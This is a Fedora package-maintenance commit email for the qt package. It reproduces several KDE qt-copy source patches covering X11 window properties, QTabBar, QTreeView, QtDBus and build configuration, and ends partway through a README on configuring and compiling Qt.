	NONE, 1.1 .cvsignore, 1.56, 1.57 linguist.desktop, 1.3,
	1.4 qt.spec, 1.281, 1.282 sources, 1.60,
	1.61 0288-more-x-keycodes.patch, 1.1,
	NONE 287-qmenu-respect-minwidth.patch, 1.1,
	NONE qt-copy-20090626-qt452.patch, 1.1,
	NONE qt-copy-patches-svn_checkout.sh, 1.6,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-qdoc3.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-timestamp.patch, 1.1, NONE
Message-ID: <20091010211322.B82E311C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24500

Modified Files:
	.cvsignore linguist.desktop qt.spec sources 
Added Files:
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch 
	0002-This-patch-makes-override-redirect-windows-popup-me.patch 
	0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch 
	0004-This-patch-adds-support-for-using-isystem-to-allow.patch 
	0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch 
	0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch 
	0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch 
	0008-In-a-treeview-with-columns-like-this.patch 
	0009-This-patch-fixes-deserialization-of-values-with-cust.patch 
	0010-Import-README.qt-copy-from-the-original-qt-copy.patch 
	0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch 
	0015-Make-QMenu-respect-the-minimum-width-set.patch 
	0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch 
	0017-Add-context-to-tr-calls-in-QShortcut.patch 
	0118-qtcopy-define.diff 0274-shm-native-image-fix.patch 
	0283-do-not-deduce-scrollbar-extent-twice.diff 
	0285-qgv-dontshowchildren.diff kde-qt-patches.sh 
	qt-x11-opensource-src-4.5.0-qdoc3.patch 
	qt-x11-opensource-src-4.5.1-phonon.patch 
	qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch 
	qt-x11-opensource-src-4.5.2-pulseaudio.patch 
	qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch 
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
Removed Files:
	0288-more-x-keycodes.patch 287-qmenu-respect-minwidth.patch 
	qt-copy-20090626-qt452.patch qt-copy-patches-svn_checkout.sh 
	qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch 
	qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch 
	qt-x11-opensource-src-4.5.2-qdoc3.patch 
	qt-x11-opensource-src-4.5.2-timestamp.patch 
Log Message:
sync w/devel (4.5.3 goodness)


0001-This-patch-uses-object-name-as-a-fallback-for-window.patch:
 corelib/kernel/qobject.cpp |    8 ++++++++
 corelib/kernel/qobject_p.h |    3 +++
 gui/kernel/qwidget_p.h     |    1 +
 gui/kernel/qwidget_x11.cpp |   28 +++++++++++++++++++++-------
 4 files changed, 33 insertions(+), 7 deletions(-)

--- NEW FILE 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch ---
>From b48e2091871516496cf0b133249fbf5326a55831 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Sat, 23 Feb 2008 16:44:52 +0100
Subject: [PATCH 01/18] This patch uses object name as a fallback for window role if no window
 role is set explicitly using setWindowRole(). Since Qt3 always used
 the object name as the window role and most Qt3/KDE3 code is ported to
 call setObjectName(),

this makes the window role set in many cases (which KWin uses for window identifying).

NOTE: It is suggested to apply patch #0209 as well when this patch is used.

qt-bugs@ issue : 167704
Trolltech task ID : 168283 (status: "fixed" for Qt 4.4.0, but effectively refused)
---
 src/corelib/kernel/qobject.cpp |    8 ++++++++
 src/corelib/kernel/qobject_p.h |    3 +++
 src/gui/kernel/qwidget_p.h     |    1 +
 src/gui/kernel/qwidget_x11.cpp |   27 +++++++++++++++++++++------
 4 files changed, 33 insertions(+), 6 deletions(-)

diff --git a/src/corelib/kernel/qobject.cpp b/src/corelib/kernel/qobject.cpp
index 6487194..ef0369e 100644
--- a/src/corelib/kernel/qobject.cpp
+++ b/src/corelib/kernel/qobject.cpp
@@ -993,8 +993,16 @@ void QObject::setObjectName(const QString &name)
 {
     Q_D(QObject);
     d->objectName = name;
+#if defined(Q_WS_X11)
+    d->checkWindowRole();
+#endif
 }
 
+#if defined(Q_WS_X11)
+void QObjectPrivate::checkWindowRole()
+{
+}
+#endif
 
 #ifdef QT3_SUPPORT
 /*! \internal
diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..6ab9e10 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -144,6 +144,9 @@ public:
     mutable quint32 connectedSignals;
 
     QString objectName;
+#if defined(Q_WS_X11)
+    virtual void checkWindowRole();
+#endif
 
     // Note: you must hold the signalSlotLock() before accessing the lists below or calling the functions
     struct Connection
diff --git a/src/gui/kernel/qwidget_p.h b/src/gui/kernel/qwidget_p.h
index 774e390..176d6fa 100644
--- a/src/gui/kernel/qwidget_p.h
+++ b/src/gui/kernel/qwidget_p.h
@@ -358,6 +358,7 @@ public:
 
 #if defined(Q_WS_X11)
     void setWindowRole();
+    virtual void checkWindowRole();
     void sendStartupMessage(const char *message) const;
     void setNetWmWindowTypes();
     void x11UpdateIsOpaque();
diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..b56849c 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -778,13 +778,17 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         data.fstrut_dirty = 1;
 
         // declare the widget's window role
+        QByteArray windowRole;
         if (QTLWExtra *topData = maybeTopData()) {
-            if (!topData->role.isEmpty()) {
-                QByteArray windowRole = topData->role.toUtf8();
-                XChangeProperty(dpy, id,
-                                ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
-                                (unsigned char *)windowRole.constData(), windowRole.length());
-            }
+            if (!topData->role.isEmpty())
+                windowRole = topData->role.toUtf8();
+        }
+        if (windowRole.isEmpty()) // use object name as a fallback
+            windowRole = objectName.toUtf8();
+        if (!windowRole.isEmpty()) {
+            XChangeProperty(dpy, id,
+                            ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                            (unsigned char *)windowRole.constData(), windowRole.length());
         }
 
         // set client leader property
@@ -2768,6 +2772,17 @@ void QWidgetPrivate::setWindowRole()
                     (unsigned char *)windowRole.constData(), windowRole.length());
 }
 
+void QWidgetPrivate::checkWindowRole()
+{
+    Q_Q(QWidget);
+    if( !q->windowRole().isEmpty() || !q->internalWinId())
+        return;
+    QByteArray windowRole = objectName.toUtf8(); // use as a fallback
+    XChangeProperty(X11->display, q->internalWinId(),
+                    ATOM(WM_WINDOW_ROLE), XA_STRING, 8, PropModeReplace,
+                    (unsigned char *)windowRole.constData(), windowRole.length());
+}
+
 Q_GLOBAL_STATIC(QX11PaintEngine, qt_widget_paintengine)
 QPaintEngine *QWidget::paintEngine() const
 {
-- 
1.6.2.5


0002-This-patch-makes-override-redirect-windows-popup-me.patch:
 qwidget_x11.cpp |   22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

--- NEW FILE 0002-This-patch-makes-override-redirect-windows-popup-me.patch ---
>From 339e220e29ff39b86705438b4be6f90e5618d27b Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Tue, 2 Oct 2007 16:08:32 +0200
Subject: [PATCH 02/18] This patch makes override-redirect windows (popup menu, dropdown menu,
 tooltip, combobox, etc.) also have more window properties like WM_CLASS,
 so they can be used when compositing.

qt-bugs@ issue : none
bugs.kde.org number : none
---
 src/gui/kernel/qwidget_x11.cpp |   21 +++++++++++++++------
 1 files changed, 15 insertions(+), 6 deletions(-)

diff --git a/src/gui/kernel/qwidget_x11.cpp b/src/gui/kernel/qwidget_x11.cpp
index 79ee8c9..a74a849 100644
--- a/src/gui/kernel/qwidget_x11.cpp
+++ b/src/gui/kernel/qwidget_x11.cpp
@@ -719,6 +719,11 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         Q_ASSERT(id);
         XChangeWindowAttributes(dpy, id, CWOverrideRedirect | CWSaveUnder,
                                 &wsa);
+        XClassHint class_hint;
+        QByteArray appName = qAppName().toLatin1();
+        class_hint.res_name = appName.data(); // application name
+        class_hint.res_class = const_cast<char *>(QX11Info::appClass());   // application class
+        XSetWMProperties(dpy, id, 0, 0, 0, 0, 0, 0, &class_hint);
     } else if (topLevel && !desktop) {        // top-level widget
         if (!X11->wm_client_leader)
             create_wm_client_leader();
@@ -769,13 +774,21 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         // set EWMH window types
         setNetWmWindowTypes();
 
+        // when we create a toplevel widget, the frame strut should be dirty
+        data.fstrut_dirty = 1;
+
+    } else {
+        // non-toplevel widgets don't have a frame, so no need to
+        // update the strut
+        data.fstrut_dirty = 0;
+    }
+
+    if (initializeWindow && (popup || (topLevel && !desktop))) { // properties set on all toplevel windows
         // set _NET_WM_PID
         long curr_pid = getpid();
         XChangeProperty(dpy, id, ATOM(_NET_WM_PID), XA_CARDINAL, 32, PropModeReplace,
                         (unsigned char *) &curr_pid, 1);
 
-        // when we create a toplevel widget, the frame strut should be dirty
-        data.fstrut_dirty = 1;
 
         // declare the widget's window role
         if (QTLWExtra *topData = maybeTopData()) {
@@ -791,10 +804,6 @@ void QWidgetPrivate::create_sys(WId window, bool initializeWindow, bool destroyO
         XChangeProperty(dpy, id, ATOM(WM_CLIENT_LEADER),
                         XA_WINDOW, 32, PropModeReplace,
                         (unsigned char *)&X11->wm_client_leader, 1);
-    } else {
-        // non-toplevel widgets don't have a frame, so no need to
-        // update the strut
-        data.fstrut_dirty = 0;
     }
 
     if (initializeWindow && q->internalWinId()) {
-- 
1.6.2.5


0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch:
 qobject_p.h |    5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch ---
>From 68eaa07de69e873b89d4aba341c6ed1ca81f6819 Mon Sep 17 00:00:00 2001
From: Lubos Lunak <l.lunak at kde.org>
Date: Wed, 30 Jan 2008 14:24:01 +0100
Subject: [PATCH 03/18] This patch changes QObjectPrivateVersion, thus preventing mixing
 parts of upstream Qt and qt-copy. In general it is a bad idea to mix
 e.g. libQtCore from one build and libQtGui from another one, and other
 qt-copy patches could make changes in Qt internal structures that could
 cause problems when mixed with upstream Qt.

This patch does not make qt-copy binary incompatible with upstream Qt.
It only further enforces using the same sources for the whole Qt build.

qt-bugs@ issue : none
Trolltech task ID : none
bugs.kde.org number : none
---
 src/corelib/kernel/qobject_p.h |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/src/corelib/kernel/qobject_p.h b/src/corelib/kernel/qobject_p.h
index 0bcccba..88192fd 100644
--- a/src/corelib/kernel/qobject_p.h
+++ b/src/corelib/kernel/qobject_p.h
@@ -83,7 +83,9 @@ extern QSignalSpyCallbackSet Q_CORE_EXPORT qt_signal_spy_callback_set;
 
 inline QObjectData::~QObjectData() {}
 
-enum { QObjectPrivateVersion = QT_VERSION };
+// add 0x1000000 to mark it as qt-copy version, with possible modifications
+// in some Q*Private class
+enum { QObjectPrivateVersion = QT_VERSION + 0x1000000 };
 
 class Q_CORE_EXPORT QObjectPrivate : public QObjectData
 {
-- 
1.6.2.5


0004-This-patch-adds-support-for-using-isystem-to-allow.patch:
 configure |    9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

--- NEW FILE 0004-This-patch-adds-support-for-using-isystem-to-allow.patch ---
>From 86fc0d43cdcf3232ae0e4e6f4f28cf8f1a45ede5 Mon Sep 17 00:00:00 2001
From: Benjamin Reed <rangerrick at befunk.com>
Date: Tue, 19 Feb 2008 17:37:37 +0100
Subject: [PATCH 04/18] This patch adds support for using -isystem to allow putting an include
 directory at the end of the compiler's header search path.

I don't have the exact output anymore (I've since patched Qt's configure) but
essentially, since I have pcre.h in /opt/kde4-deps/include, it was
conflicting with Qt's (modified) pcre.h in the WebKit bits, since
-I /opt/kde4-deps/include ends up in CXXFLAGS in the generated makefiles, it
comes *before* the specific locations in INCPATH on the compile line, and you
end up with a conflict with the system-installed pcre.h.

Presumably, if your pcre.h is in /usr/include as on most Linux systems, you
wouldn't notice this issue since /usr/include's already in your include path
and people likely don't pass -I /usr/include to configure.  I suspect that on
any platform with a regular, system-installed pcre.h (or clucene headers),
adding -I /usr/include would exhibit this bug, just as a custom-installed
pcre/clucene in another root would.

qt-bugs@ issue : 199610
Trolltech task ID :
bugs.kde.org number :
---
 configure |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/configure b/configure
index 2c108ad..610a201 100755
--- a/configure
+++ b/configure
@@ -927,6 +927,11 @@ while [ "$#" -gt 0 ]; do
             VAL=`echo $1 | sed 's,-D,,'`
         fi
         ;;
+    -isystem)
+        VAR="add_isystempath"
+        shift
+        VAL="$1"
+        ;;
     -I?*|-I)
         VAR="add_ipath"
         if [ "$1" = "-I" ]; then
@@ -1890,6 +1895,9 @@ while [ "$#" -gt 0 ]; do
     add_ipath)
         I_FLAGS="$I_FLAGS -I\"${VAL}\""
         ;;
+    add_isystempath)
+        I_FLAGS="$I_FLAGS -isystem \"${VAL}\""
+        ;;
     add_lpath)
         L_FLAGS="$L_FLAGS -L\"${VAL}\""
         ;;
-- 
1.6.2.5


0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch:
 qtabbar.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch ---
>From 733d1afd03908d695aa8a6518f453b9ff0e5b8a2 Mon Sep 17 00:00:00 2001
From: Robert Knight <robertknight at gmail.com>
Date: Sun, 20 Apr 2008 16:28:31 +0200
Subject: [PATCH 05/18] When tabs are inserted or removed in a QTabBar,
 QTabBarPrivate::refresh() is called to update the layout.  If the
 tabbar widget is hidden, this just sets a boolean variable
 (layoutDirty) and returns, so the parent widget's layout is not
 notified about the possible geometry change.

Prior to Qt 4.4 this was not a problem because the geometry was
recalculated in QTabBar::sizeHint() if the layoutDirty variable was
set.  In Qt 4.4 however the layout caches size hint information in
QWidgetItemV2.  Since the cache information is not invalidated, the
layout may end up using out-of-date size hint information to compute
the widget size.

If the QTabBar is empty when QTabBar::sizeHint() is called, it will
return a size with a height of 0, which will be kept in the cache and
so the tab bar will never be shown.

This patch fixes the problem by calling updateGeometry() whenever the
tab bar's layout is refreshed.

qt-bugs@ issue : 208185
Trolltech task ID : 208349
bugs.kde.org number : 159014
---
 src/gui/widgets/qtabbar.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/widgets/qtabbar.cpp b/src/gui/widgets/qtabbar.cpp
index 419d456..41107a0 100644
--- a/src/gui/widgets/qtabbar.cpp
+++ b/src/gui/widgets/qtabbar.cpp
@@ -678,8 +678,8 @@ void QTabBarPrivate::refresh()
         layoutTabs();
         makeVisible(currentIndex);
         q->update();
-        q->updateGeometry();
     }
+    q->updateGeometry();
 }
 
 /*!
-- 
1.6.2.5


0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch:
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    7 ++++++-
 3 files changed, 14 insertions(+), 2 deletions(-)

--- NEW FILE 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch ---
>From 8e28e0603a900e1b18ebfd14c4f87b16dabf4cf6 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Fri, 19 Sep 2008 17:41:26 +0200
Subject: [PATCH 06/18] Fix configure.exe to do an out-of-source build on windows

qt-bugs@ issue : N227213
Trolltech task ID : none yet
---
 bin/syncqt             |    6 +++++-
 projects.pro           |    3 +++
 src/tools/moc/main.cpp |    6 ++++++
 3 files changed, 14 insertions(+), 1 deletions(-)

diff --git a/bin/syncqt b/bin/syncqt
index 7a9f1d3..b5a8e1c 100755
--- a/bin/syncqt
+++ b/bin/syncqt
@@ -365,9 +365,13 @@ sub fixPaths {
         $match_dir = $tmp;
         $i = $slash;
     }
+    my $cnt_ofs = 0;
+    if($match_dir =~ /^[a-zA-Z]:$/) {
+      $cnt_ofs = 1;
+    }
     if($match_dir) {
         my $after = substr($dir, length($match_dir));
-        my $count = ($after =~ tr,/,,);
+        my $count = ($after =~ tr,/,,) - $cnt_ofs;
         my $dots = "";
         for(my $i = 0; $i < $count; $i++) {
             $dots .= "../";
diff --git a/projects.pro b/projects.pro
index 2596c0a..3ba0688 100644
--- a/projects.pro
+++ b/projects.pro
@@ -127,6 +127,9 @@ unix {
    DEFAULT_QMAKESPEC ~= s,^.*mkspecs/,,g
    mkspecs.commands += $(DEL_FILE) $(INSTALL_ROOT)$$mkspecs.path/default; $(SYMLINK) $$DEFAULT_QMAKESPEC $(INSTALL_ROOT)$$mkspecs.path/default
 }
+win32 {
+   mkspecs.files += $$QT_BUILD_TREE/mkspecs/default
+}
 INSTALLS += mkspecs
 
 false:macx { #mac install location
diff --git a/src/tools/moc/main.cpp b/src/tools/moc/main.cpp
index d519b09..7979836 100644
--- a/src/tools/moc/main.cpp
+++ b/src/tools/moc/main.cpp
@@ -94,7 +94,13 @@ static QByteArray combinePath(const char *infile, const char *outfile)
         inSplitted.prepend(QLatin1String(".."));
     }
     inSplitted.append(inFileInfo.fileName());
+#ifdef Q_WS_WIN
+    const QString rel = inSplitted.join(QLatin1String("/"));
+    const QString abs = inFileInfo.absoluteFilePath();
+    return QFile::encodeName(rel.length() < abs.length() ? rel : abs);
+#else
     return QFile::encodeName(inSplitted.join(QLatin1String("/")));
+#endif
 }
 
 
-- 
1.6.2.5


0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch:
 property.cpp |   30 ++++++++++++++++--------------
 1 file changed, 16 insertions(+), 14 deletions(-)

--- NEW FILE 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch ---
>From 0afcf33127c6ccbe5dfaae4f4c5e02f28dc10ae1 Mon Sep 17 00:00:00 2001
From: Christian Ehrlicher <ch.ehrlicher at gmx.de>
Date: Thu, 8 May 2008 21:25:49 +0200
Subject: [PATCH 07/18] When using qmake outside qt src tree, it sometimes generates wrong
 paths (wrong path separator)

qt-bugs@ issue : none
Trolltech task ID : 214661
---
 qmake/property.cpp |   29 ++++++++++++++++-------------
 1 files changed, 16 insertions(+), 13 deletions(-)

diff --git a/qmake/property.cpp b/qmake/property.cpp
index 8ba89f9..dd78349 100644
--- a/qmake/property.cpp
+++ b/qmake/property.cpp
@@ -81,29 +81,32 @@ QMakeProperty::keyBase(bool version) const
 QString
 QMakeProperty::value(QString v, bool just_check)
 {
+    QString ret;
     if(v == "QT_INSTALL_PREFIX")
-        return QLibraryInfo::location(QLibraryInfo::PrefixPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PrefixPath);
     else if(v == "QT_INSTALL_DATA")
-        return QLibraryInfo::location(QLibraryInfo::DataPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DataPath);
     else if(v == "QT_INSTALL_DOCS")
-        return QLibraryInfo::location(QLibraryInfo::DocumentationPath);
+        ret = QLibraryInfo::location(QLibraryInfo::DocumentationPath);
     else if(v == "QT_INSTALL_HEADERS")
-        return QLibraryInfo::location(QLibraryInfo::HeadersPath);
+        ret = QLibraryInfo::location(QLibraryInfo::HeadersPath);
     else if(v == "QT_INSTALL_LIBS")
-        return QLibraryInfo::location(QLibraryInfo::LibrariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::LibrariesPath);
     else if(v == "QT_INSTALL_BINS")
-        return QLibraryInfo::location(QLibraryInfo::BinariesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::BinariesPath);
     else if(v == "QT_INSTALL_PLUGINS")
-        return QLibraryInfo::location(QLibraryInfo::PluginsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::PluginsPath);
     else if(v == "QT_INSTALL_TRANSLATIONS")
-        return QLibraryInfo::location(QLibraryInfo::TranslationsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::TranslationsPath);
     else if(v == "QT_INSTALL_CONFIGURATION")
-        return QLibraryInfo::location(QLibraryInfo::SettingsPath);
+        ret = QLibraryInfo::location(QLibraryInfo::SettingsPath);
     else if(v == "QT_INSTALL_EXAMPLES")
-        return QLibraryInfo::location(QLibraryInfo::ExamplesPath);
+        ret = QLibraryInfo::location(QLibraryInfo::ExamplesPath);
     else if(v == "QT_INSTALL_DEMOS")
-        return QLibraryInfo::location(QLibraryInfo::DemosPath);
-    else if(v == "QMAKE_MKSPECS")
+        ret = QLibraryInfo::location(QLibraryInfo::DemosPath);
+    if(!ret.isEmpty())
+        return QDir::toNativeSeparators(ret);
+    if(v == "QMAKE_MKSPECS")
         return qmake_mkspec_paths().join(Option::target_mode == Option::TARG_WIN_MODE ? ";" : ":");
     else if(v == "QMAKE_VERSION")
         return qmake_version();
@@ -116,7 +119,7 @@ QMakeProperty::value(QString v, bool just_check)
     int slash = v.lastIndexOf('/');
     QVariant var = settings->value(keyBase(slash == -1) + v);
     bool ok = var.isValid();
-    QString ret = var.toString();
+    ret = var.toString();
     if(!ok) {
         QString version = qmake_version();
         if(slash != -1) {
-- 
1.6.2.5


0008-In-a-treeview-with-columns-like-this.patch:
 qtreeview.cpp |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE 0008-In-a-treeview-with-columns-like-this.patch ---
>From 1ec9dd029abaa0f00798535fdb1722154b1c63f6 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Rafael=20Fern=C3=A1ndez=20L=C3=B3pez?= <ereslibre at kde.org>
Date: Sun, 26 Oct 2008 10:40:51 +0100
Subject: [PATCH 08/18] In a treeview with columns like this:

Column 1 | Column 2 | ... | Column k | ... | Column n

When selecting with rubberband (by clicking on the blank part of the viewport) while Column k is
hidden, you get double items on the selection model, when asking for selection(). This is becase
ranges are incorrectly calculated when there are hidden columns. A way to reproduce:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
  x <- press button here and move it up to select items (on this same column)

If you do like this:

Column 1 | Column 2 | Column 4 (Column 3 is hidden)
 item
 item
 item
                         x <- press button here and move it up

you won't be able to reproduce, since you need the hidden column to be between the one you click and
the last one. The reason is that columnRanges returns two ranges when there is supposed to return 1
range (even when there are hidden columns).

qt-bugs@ issue : N232819
Trolltech task ID : 232831
bugs.kde.org number : 171436
---
 src/gui/itemviews/qtreeview.cpp |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/gui/itemviews/qtreeview.cpp b/src/gui/itemviews/qtreeview.cpp
index ed6ad03..dc147f2 100644
--- a/src/gui/itemviews/qtreeview.cpp
+++ b/src/gui/itemviews/qtreeview.cpp
@@ -3575,7 +3575,7 @@ QList<QPair<int, int> > QTreeViewPrivate::columnRanges(const QModelIndex &topInd
     current.first = -2; // -1 is not enough because -1+1 = 0
     current.second = -2;
     foreach (int logicalColumn, logicalIndexes) {
-        if (current.second + 1 != logicalColumn) {
+        if (current.second + 1 != logicalColumn && !header->isSectionHidden(current.second + 1)) {
             if (current.first != -2) {
                 //let's save the current one
                 ret += current;
-- 
1.6.2.5


0009-This-patch-fixes-deserialization-of-values-with-cust.patch:
 qdbusinternalfilters.cpp |   17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

--- NEW FILE 0009-This-patch-fixes-deserialization-of-values-with-cust.patch ---
>From b274bbaf4768dcfdfcf95ceda08b6402ffedb80d Mon Sep 17 00:00:00 2001
From: George Goldberg <grundleborg at googlemail.com>
Date: Tue, 28 Apr 2009 17:08:07 +0200
Subject: [PATCH 09/18] This patch fixes deserialization of values with custom types when setting
 properties on dbus adaptors. It is needed, in particular by telepathy/Qt
 programs and libraries. The bug was reported to Nokia on 2009-01-07 along
 with the patch supplied here. The summary of the issue from the Qt
 Software task tracker follows:

When calling the setter for a DBus property, if that property has a custom type
(e.g. a struct with dbus type (uss)), QtDBus fails to demarshall the
QDBusArgument before attempting to set the property on the adaptor. The result
is that it attempts to call adaptor->setProperty() with a QDBusArgument of type
"uss" instead of with the type of the custom struct.

qt-bugs@ issue : N240326
Qt Software task ID : 240608
bugs.kde.org number : none
---
 src/dbus/qdbusinternalfilters.cpp |   16 +++++++++++++++-
 1 files changed, 15 insertions(+), 1 deletions(-)

diff --git a/src/dbus/qdbusinternalfilters.cpp b/src/dbus/qdbusinternalfilters.cpp
index c71f2f4..d261d01 100644
--- a/src/dbus/qdbusinternalfilters.cpp
+++ b/src/dbus/qdbusinternalfilters.cpp
@@ -274,9 +274,23 @@ QDBusMessage qDBusPropertySet(const QDBusConnectionPrivate::ObjectTreeNode &node
             QDBusAdaptorConnector::AdaptorMap::ConstIterator it;
             it = qLowerBound(connector->adaptors.constBegin(), connector->adaptors.constEnd(),
                              interface_name);
-            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface))
+            if (it != connector->adaptors.end() && interface_name == QLatin1String(it->interface)) {
+                if (value.userType() == qMetaTypeId<QDBusArgument>()) {
+                    QDBusArgument valueArg = qvariant_cast<QDBusArgument>(value);
+                    if (valueArg.currentType() != -1) {
+                        int mid = it->adaptor->metaObject()->property(it->adaptor->metaObject()->indexOfProperty(property_name)).userType();
+                        void *null = 0;
+                        QVariant valueStore(mid, null);
+                        QDBusMetaType::demarshall(valueArg, mid, valueStore.data());
+
+                        if (it->adaptor->setProperty(property_name, valueStore))
+                            return msg.createReply();
+                    }
+                }
+
                 if (it->adaptor->setProperty(property_name, value))
                     return msg.createReply();
+            }
         }
     }
 
-- 
1.6.2.5


0010-Import-README.qt-copy-from-the-original-qt-copy.patch:
 README.kde-qt |  189 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 188 insertions(+), 1 deletion(-)

--- NEW FILE 0010-Import-README.qt-copy-from-the-original-qt-copy.patch ---
>From 9a3fe8fc4912bf82b791c4131f553c18140ca838 Mon Sep 17 00:00:00 2001
From: Thiago Macieira <thiago at doriath.(none)>
Date: Sun, 21 Jun 2009 13:17:13 -0300
Subject: [PATCH 10/18] Import README.qt-copy from the original qt-copy

---
 README.kde-qt |  188 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 files changed, 188 insertions(+), 0 deletions(-)
 create mode 100644 README.kde-qt

diff --git a/README.kde-qt b/README.kde-qt
new file mode 100644
index 0000000..f605a0b
--- /dev/null
+++ b/README.kde-qt
@@ -0,0 +1,188 @@
+This is a copy of Qt version 4.5.1.  It may include
+modifications which are necessary for KDE; these are listed in the
+patches directory.
+
+1. Qt-copy patches
+==================
+
+You may also consider running the apply_patches script before configuring qt-copy,
+which will apply all not yet applied patches from the patches/ directory that
+are considered safe (they mostly include optimizations and features that don't
+add new API). Note that most of those patches haven't been accepted
+by Qt Software yet. and therefore they'll make your qt-copy differ from official
+Qt version.
+
+2. Configuring Qt
+=================
+
+The recommended compile line is:
+
+--default-config-begin--
+./configure -qt-gif -debug -fast -no-exceptions -no-separate-debug-info \
+   -system-libpng -system-libjpeg -system-zlib \
+   -dbus -webkit -no-phonon -plugin-sql-mysql \
+   -nomake examples -nomake demos -prefix <installdir>
+--default-config-end--
+
+It contains "-debug", which greatly improves the use for backtraces (but
+also needs a lot more disk space and makes things slower). To build in
+release mode, replace it with "-release".
+
+It also contains "-no-separate-debug-info", which disables separate .debug
+files. Instead, the debug information will be built into the libraries.
+This option is needed when you install Qt.
+If you don't install Qt, it can be useful to disable this option,
+thus having separate debug symbol files. With separate debug files, you can
+just move those debug files to another directory to remove Qt debug symbols.
+Moving the files back will enable Qt debug symbols again.
+This is useful if you rarely need to step into Qt functions during debugging,
+because GDB loads much faster and uses less memory without Qt debug symbols.
+In the rare case you need to step into Qt code, you can temporarily enable
+debug symbols again by moving the debug files back. You can even load the Qt
+debug symbols from within GDB on demand, using the "symbol-file" command.
+
+It also contains the "-no-exceptions" argument, which disables C++
+exception support. Disabling exception support may improve memory
+consumption if GCC is being used. However, that also disables the
+QtXmlPatterns module since that requires exception support. If you
+plan on using that module, remove the option.
+
+If you are planning to compile Qt using an Icecream cluster you have to
+pass the option -no-pch (no precompiled headers) to configure to make
+distributed compilation work.
+
+3. Compiling Qt
+===============
+
+To compile Qt on a Unix platform, run:
+
+   export MAKEFLAGS=-j2
+   make
+   make install
+
+If your computer has more than one core or processor, you may consider
+increasing the "2" above. If you've got a compile farm available, you
+should adjust the -j argument to match the number of slots in that
+farm.
+
+4. Modifying & rebuilding Qt
+============================
+
+If you make modifications to the Qt source code, you don't need to
+build everything again. Simply go to the directory containing the
+Makefile closest to the files you changed and run "make" again.
+
+For example, if you modified src/corelib/io/qiodevice.cpp, do:
+
+   cd src/corelib
+   make
+
+Do not commit your modifications to qt-copy as such. If you have a fix
+that benefit others, see the "Creating Qt-copy patches" section below.
+
+5. Building Qt examples and demos
+=================================
+
+The "-nomake examples -nomake demos" arguments to the configure script
+mean that those two sections will not be configured for
+building. Which is unneeded for usage of the library.  If you want to
+compile the examples or demos later; just enter either directory and
+type:
+
+   qmake
+   make
+
+6. Building Qt documentation (only applies to Snapshot versions of Qt)
+============================
+
